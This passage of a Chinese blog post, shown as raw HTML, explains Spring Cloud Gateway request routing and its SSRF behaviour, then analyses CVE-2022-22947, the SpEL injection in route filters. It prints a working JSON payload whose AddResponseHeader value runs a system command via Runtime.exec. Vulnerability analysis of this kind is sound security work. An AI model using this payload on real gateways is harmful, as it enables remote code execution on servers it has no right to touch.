border-box;">v2ex</span></span><span md-inline="plain" style="box-sizing: border-box;">上回答的原理</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3337696335078534" data-s="300,640" style="" data-type="png" data-w="1528" src="https://wechat2rss.xlab.app/img-proxy/?k=539cf43f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRSWL4WRJzicxm8ia1DYKTIepl6EjsOIicqLA4VibqOLK0iaOHLxD9d6axN2w%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n189" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">所以其实payload就是比较固定的格式，首先定义一个谓词（predicates），用来匹配来自用户的请求，然后再增加一个内置或自定义的过滤器（filters），用于执行额外的功能逻辑。</span></p><p cid="n169" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">payload中我们用的是重写路径过滤器（RewritePath），类似的还有设置路径过滤器（SetPath）、去掉URL前缀过滤器（StripPrefix）等，具体可以参考</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">gateway内置的filter</span>[参见：<a href="https://www.cnblogs.com/duanxz/p/14780675.html]" target="_blank">https://www.cnblogs.com/duanxz/p/14780675.html]</a></span><span md-inline="plain" style="box-sizing: border-box;">这张图：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.720704845814978" data-s="300,640" style="" data-type="png" data-w="1135" src="https://wechat2rss.xlab.app/img-proxy/?k=ba4b0393&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRCib1aYeNT0mS47TllTJzv7y5cfqDL0fumtVuia6TRfj1uwg9DnStJprQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n173" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">以及</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">gateway内置的Global Filter<span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">[参见：</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);"><a href="https://www.cnblogs.com/duanxz/p/14780675.html" target="_blank">https://www.cnblogs.com/duanxz/p/14780675.html</a></span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);"></span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">]</span></span></span><span md-inline="plain" style="box-sizing: border-box;">图：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4492610837438424" data-s="300,640" style="" data-type="png" data-w="1015" src="https://wechat2rss.xlab.app/img-proxy/?k=b7e553e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRyU2hnm7czH701vyWxLwYffaRh6XSITicus0JXrDAR1Ko09N0NloqIMg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n175" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">第一个问题搞懂了就可以看看第二个问题了：</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">整个请求流程是什么样的？</strong></span><br/></p><p cid="n209" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">还是如上例所演示的，当在浏览器中向</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">127.0.0.1:8080</code></span><span md-inline="plain" style="box-sizing: border-box;">地址发起根路径为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">/new_route</code></span><span md-inline="plain" style="box-sizing: border-box;">的请求时，会被 Spring Cloud Gateway 转发请求到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;"><a href="https://www.cnpanda.net/" target="_blank">https://www.cnpanda.net/</a></code></span><span md-inline="plain" style="box-sizing: border-box;">的根路径下</span></p><p cid="n78" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">比如，我们向</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">127.0.0.1:8080</code></span><span md-inline="plain" style="box-sizing: border-box;">地址发起为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">/new_route/index.php</code></span><span md-inline="plain" style="box-sizing: border-box;">的请求，那么实际上会被 Spring Cloud Gateway 转发请求到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;"><a href="https://www.cnpanda.net/index.php" target="_blank">https://www.cnpanda.net/index.php</a></code></span><span md-inline="plain" style="box-sizing: border-box;">的路径下，官方在其官方文档（</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">Spring Cloud GateWay工作流程</span></span><span md-inline="plain" style="box-sizing: border-box;">）简单说明了流程：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.3431151241534989" data-s="300,640" style="" data-type="png" data-w="443" src="https://wechat2rss.xlab.app/img-proxy/?k=b811b1a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRwJfWaK9Qvbd993KbtMIKVriaIibwwsLqdicY0IAKwxVm01TR4nJRYeibuQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n213" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">看起来比较简单，实际上要复杂的多，我做了一个更详细一点图帮助大家理解（看不清可以点击原文看）：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6709310589907604" data-s="300,640" style="" data-type="png" data-w="2814" src="https://wechat2rss.xlab.app/img-proxy/?k=7addde00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzR7Q0ukj4AicxI0jcfAO6E0pCIiaYy73bNEHrm7qicnNFkIeTqUMEydquIQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n99" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">我们首先向浏览器发送</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;"><a href="http://127.0.0.1:8080/new_route/index.php" target="_blank">http://127.0.0.1:8080/new_route/index.php</a></code></span><span md-inline="plain" style="box-sizing: border-box;"> 的请求，浏览器接收该请求后交给Spring Cloud Gateway，由Spring Cloud Gateway 进行内部处理，首先是在 Gateway Handler Mapping 模块中找到与</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">/new_route/index.php</code></span><span md-inline="plain" style="box-sizing: border-box;">请求相匹配的路由，然后将其发送到Gateway Web Handler模块，在这个模块中首先进入globalFilters中，由 globalFilters(NettyWriteResponseFilter、ForwardPathFilter、RouteToRequestUrlFilter、LoadBalancerClientFilter、AdaptCachedBodyGlobalFilter、WebsocketRoutingFilter、NettyRoutingFilter、ForwardRoutingFilter) 作为构造器参数创建 FilteringWebHandler。</span><br/></p><p cid="n121" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">如下图，可以在 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">NettyRoutingFilter</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 中看到我们请求的中间态：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.46864686468646866" data-s="300,640" style="" data-type="png" data-w="2424" src="https://wechat2rss.xlab.app/img-proxy/?k=dae14878&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRpxWUyNqNURBtGKlWt65TAF1nRbLyO8AfGyeqFSLJPnNLYOZgwLjDtg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n148" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">然后，再由 FilteringWebHandler 运行特定的请求过滤器链，所有 Pre 过滤器(前过滤器)逻辑先执行，然后再向Proxied Service 执行代理请求，代理请求完成后，再由 Proxied Service 返回到 Gateway Web Handler模块去执行 post 过滤器(后过滤器)逻辑，最后由</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">NettyWriteResponseFilter</span></span><span md-inline="plain" style="box-sizing: border-box;"> 返回响应内容到我们。响应过程可以参考</span><span md-inline="plain" style="box-sizing: border-box;">：<a href="https://juejin.cn/post/6844903639840980999" target="_blank">https://juejin.cn/post/6844903639840980999</a></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.22282120395327942" data-s="300,640" style="" data-type="png" data-w="2226" src="https://wechat2rss.xlab.app/img-proxy/?k=96f6a13e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRKm1hcQDW93Blic8alSQHeIXicKkSksGw002rX9wx2XNz2MIOx1xPmXYQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n146" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">最终一次完整SSRF响应请求就形成了。</span><br/></p><p cid="n72" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">实际上这种的 SSRF 属于Spring Cloud Gateway 本身的功能带来的”副产品“，类似于PHPMyadmin后台的SQL注入漏洞。</span></p><h2 cid="n48" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">0x03 CVE-2022-22947 分析</span></h2><p cid="n152" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">如果你认真的看完了上一节的内容，那么你现在可能会对这个漏洞有了更多的认识。</span></p><p cid="n222" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">漏洞的触发点在于我们熟知的SpEL表达式</span></p><p cid="n224" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">实际上现在不具体分析源码，根据已有payload或者官方修复diff，你也应该能够得到一个结论：</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">在动态添加路由的过程中，某个filter可以对传入进来的值进行SpEL表达式解析，从而造成了远程代码执行漏洞</strong></span></p><p cid="n229" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">那么到底是不是如此呢？</span></p><p cid="n260" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">根据这种思路，通过source和sink，然后向上向下连线的方式来验证</strong></span></p><p cid="n231" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">先来看看source，即创建路由时的payload：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">&#34;id&#34;</span>: <span class="code-snippet__string">&#34;hacktest&#34;</span>,</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">&#34;filters&#34;</span>: [{</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;AddResponseHeader&#34;</span>,</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;args&#34;</span>: {</span></code><code><span class="code-snippet_outer">     <span class="code-snippet__attr">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;Result&#34;</span>,</span></code><code><span class="code-snippet_outer">     <span class="code-snippet__attr">&#34;value&#34;</span>: <span class="code-snippet__string">&#34;#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\&#34;id\&#34;}).getInputStream()))}&#34;</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}],</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">&#34;uri&#34;</span>: <span class="code-snippet__string">&#34;<a href="http://example.com" target="_blank">http://example.com</a>&#34;</span></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n231" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"></span><br/></p><p cid="n235" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">可以看到这里使用的filter是AddResponseHeader，由于我们已经猜测是SPEL表达，因此我们直接搜索SpEL的触发点</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">StandardEvaluationContext</strong></span><span md-inline="plain" style="box-sizing: border-box;">：</span><span md-inline="image" data-src="/Users/bytedance/Desktop/img/13.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2682926829268293" data-s="300,640" style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;orphans: 4;caret-color: rgb(51, 51, 51);text-align: center;white-space: normal;" data-type="png" data-w="3198" src="https://wechat2rss.xlab.app/img-proxy/?k=60343bad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRYLqhfb9AYxWvsu9iaLN0uo6n5467bZhxA9SeL2Zkr7rZlT7ia3PPBrsw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p cid="n250" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">可以发现，在 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">ShortcutConfigurable</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 接口的</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">getValue</strong></span><span md-inline="plain" style="box-sizing: border-box;">方法中，使用了</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">StandardEvaluationContext</strong></span><span md-inline="plain" style="box-sizing: border-box;">，并且对传入的 SpEL 表达式进行了解析</span></p><p cid="n252" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">那么接着查找 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">ShortcutConfigurable</strong></span><span md-inline="plain" style="box-sizing: border-box;"> 接口的实现类有哪些：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.24923265807243708" data-s="300,640" style="" data-type="png" data-w="3258" src="https://wechat2rss.xlab.app/img-proxy/?k=7bf724df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzR1LAC7uned5pDCJ5ibCh9VAf0FFT68RwFW87nWqoSbnuQhSZcr11hWFQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n264" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">可以看到有很多，但是我们要找的是与AddResponseHeader过滤器相关的类，AddResponseHeader过滤器的工厂类是org.springframework.cloud.gateway.filter.factory#</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">AddResponseHeaderGatewayFilterFactory</strong></span><span md-inline="plain" style="box-sizing: border-box;">，因此根据模块名我们可以直接确定位置：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5173267326732673" data-s="300,640" style="" data-type="png" data-w="3232" src="https://wechat2rss.xlab.app/img-proxy/?k=8b924f59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRfvNIV8mo0XvHh38jIpkvmQxBLSgkHu7TEEMNJxEvYicVZZA540o313Q%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n254" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">逐一查看会发现：</span><br/></p><p cid="n311" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">AddResponseHeaderGatewayFilterFactory</strong></span><span md-inline="plain" style="box-sizing: border-box;">  继承于 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">AbstractNameValueGatewayFilterFactory</strong></span></p><p cid="n275" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">AbstractNameValueGatewayFilterFactory</strong></span><span md-inline="plain" style="box-sizing: 